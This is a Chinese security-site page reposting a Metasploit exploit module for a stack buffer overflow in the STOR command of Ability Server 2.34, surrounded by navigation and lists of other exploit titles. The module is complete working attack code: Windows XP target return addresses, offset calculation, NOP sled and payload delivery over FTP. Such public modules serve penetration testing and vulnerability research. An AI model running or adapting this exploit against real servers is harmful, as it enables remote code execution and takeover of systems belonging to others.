首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ability Server 2.34 STOR Command Stack Buffer Overflow
来源:http://www.metasploit.com 作者:Ekelow 发布时间:2011-12-08  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack-based buffer overflow in Ability Server 2.34.
				Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
				which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.

				The vulnerability has been confirmed on version 2.34 and has also been reported
				in version 2.25 and 2.32. Other versions may also be affected.
			},
			'Author'         =>
				[
					'muts',        #Initial discovery
					'Dark Eagle',  #same as muts
					'Ekelow'       #Metasploit
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', '2004-1626' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/588/'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process'
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\xff"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP2 ENG',
						{
							#JMP ESP  (MFC42.dll. Addr remains unchanged until a patched SP3)
							'Ret' => 0x73E32ECF,
							'Offset' => 966
						}
					],
					[
						'Windows XP SP3 ENG',
						{
							#JMP ESP  (USER32.dll. Unchanged unpatched SP3 - fully pathced)
							'Ret' => 0x7E429353,
							'Offset' => 966
						}
					],
				],
			'DisclosureDate' => 'Oct 22 2004',
			'DefaultTarget' => 1))

		register_options(
			[
				Opt::RPORT(21),
				OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
				OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
			], self.class)
		end

	def check
		connect
		disconnect
		if banner =~ /Ability Server 2\.34/
			return Exploit::CheckCode::Vulnerable
		else
			if banner =~ /Ability Server/
				return Exploit::CheckCode::Detected
			end
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		myHost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']

		# Take client ip + ftp user lengths into account for EIP offset
		padd_size = target['Offset'] + (13 - myHost.length) + (3 - datastore['FTPUSER'].length)
		junk = rand_text_alpha(padd_size)

		sploit = junk
		sploit << [target.ret].pack('V')
		sploit << make_nops(32)
		sploit << payload.encoded
		sploit << rand_text_alpha(sploit.length)

		send_cmd(['STOR', sploit], false)
		handler
		disconnect
	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SopCast 3.4.7 (Diagnose.exe) I
·Family Connections less.php Re
·SopCast 3.4.7 sop:// URI Handl
·Traq <= 2.3 Authentication Byp
·ShareCenter D-Link DNS-320 Rem
·SMF <= 2.0.1 SQL Injection, Pr
·ms11-046 webshell 下exp 自己加
·HP Application Lifestyle Manag
·JavaScript Switcharoo Proof Of
·Family Connections CMS v2.5.0-
·Apache Range Header Denial Of
·linux/x86-64 execve(/bin/sh) 5
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved